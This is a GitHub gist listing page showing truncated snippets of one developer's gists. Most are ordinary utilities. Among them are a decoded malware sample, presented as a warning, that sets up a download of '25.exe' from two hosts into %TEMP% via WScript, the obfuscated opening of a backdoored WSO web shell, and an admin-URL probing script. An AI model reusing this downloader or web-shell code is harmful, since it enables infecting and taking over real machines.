Skip to content

Instantly share code, notes, and snippets.

View vaibhavpandeyvpz's full-sized avatar
🐢
I may be slow to respond.

Vaibhav Pandey vaibhavpandeyvpz

🐢
I may be slow to respond.
View GitHub Profile
@vaibhavpandeyvpz
vaibhavpandeyvpz / blocker.cs
Last active May 12, 2018 21:04
Blocking User Interaction in WinForms (C#)
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace VPZ.Security
{
@vaibhavpandeyvpz
vaibhavpandeyvpz / blocker.cpp
Last active August 29, 2015 14:03
Blocking User Interaction in WinForms (C++/CLR)
#include "stdafx.h"
#include "blocker.h"
namespace VPZ
{
namespace Security
{
Blocker::Blocker(IntPtr Handle)
@vaibhavpandeyvpz
vaibhavpandeyvpz / Lograt.java
Last active August 29, 2015 14:03
Intelligent Logging Class For Android Applications
package com.vaibhavpandey.utility;
import com.vaibhavpandey.demo.BuildConfig;
import android.text.TextUtils;
import android.util.Log;
public final class Lograt {
/**
@vaibhavpandeyvpz
vaibhavpandeyvpz / admin-uri.php
Last active August 29, 2015 14:04
Simple & Extensible Script To Find Possible Admin URIs
<?php
/**
* Simple script to find possible admin URLs for a given domain
* Replace [ .* ] with array( .* ) if running PHP < 5.4 (if found)
* By Vaibhav Pandey <contact@vaibhavpandey.com>
*/
define('REGEX_DOMAIN', '/^(([a-zA-Z]{1})|([a-zA-Z]{1}[a-zA-Z]{1})|([a-zA-Z]{1}[0-9]{1})|([0-9]{1}[a-zA-Z]{1})|([a-zA-Z0-9][a-zA-Z0-9-_]{1,61}[a-zA-Z0-9]))\.([a-zA-Z]{2,6}|[a-zA-Z0-9-]{2,30}\.[a-zA-Z]{2,3})$/');
function __code($uri) {
@vaibhavpandeyvpz
vaibhavpandeyvpz / Signature.java
Created July 25, 2014 02:51
Generate Hash of Application Signature in Android
import java.security.MessageDigest;
import android.content.Context;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.Signature;
import android.util.Base64;
class Signature {
@vaibhavpandeyvpz
vaibhavpandeyvpz / wso-backdoor.php
Created July 28, 2014 06:56
Beware! Most WSO 2.5.1 Scripts Over Internet Are Back-Doored
<?php
/**
* v2.5.1
* Hosted at: http://pastebin.com/BXmWGhMu (Line: #1037)
* Hosted at: http://snipplr.com/view/70661/ (Line: #1037)
* Hosted at: http://dl.packetstormsecurity.net/UNIX/penetration/rootkits/wso2.5.1.zip (Line: #1037)
* Hosted at: http://pastebin.com/KCtz6XA9 (Line: #1037)
*/
// Obfuscated
$x10 = "\x6dai\154";
@vaibhavpandeyvpz
vaibhavpandeyvpz / invoice_copy_Bqa6Ci.decoded.js
Created February 16, 2016 12:47
***SPAM*** Invoice #34069680 [Malware]
(function() {
var urls = [
'http://wherareyoufromff.com/25.exe',
'http://arendroukysdqq.com/25.exe'
];
var shell = WScript.CreateObject('WScript.Shell');
var xmlhttp = WScript.CreateObject('MSXML2.XMLHTTP');
var stream = WScript.CreateObject('ADODB.Stream');
var tmp = shell.ExpandEnvironmentStrings('%TEMP%\\');
var file = tmp + 4194304 + '.exe';
@vaibhavpandeyvpz
vaibhavpandeyvpz / mosquitto_pw.php
Created August 3, 2016 13:51
Function in PHP for hashing passwords to be compatible with Mosquitto MQTT broker
<?php
/**
* @param string $plain
* @param string $algo
* @param int $iterations
* @param int $saltlen
* @param int $keylen
* @return string
*/
@vaibhavpandeyvpz
vaibhavpandeyvpz / ubuntu-16-vps-lamp.sh
Last active April 27, 2023 16:23
Install and setup LAMP stack + Composer on a clean Ubuntu 16.04 VPS
#!/usr/bin/env bash
APACHE_USER=wwwhost
VHOSTS_DOMAINS=(example.com second.example.com)
sudo ufw allow in "OpenSSH"
# Install Apache
sudo apt-get update
sudo apt-get install apache2
sudo nano /etc/apache2/apache2.conf # Add ServerName ... directive at bottom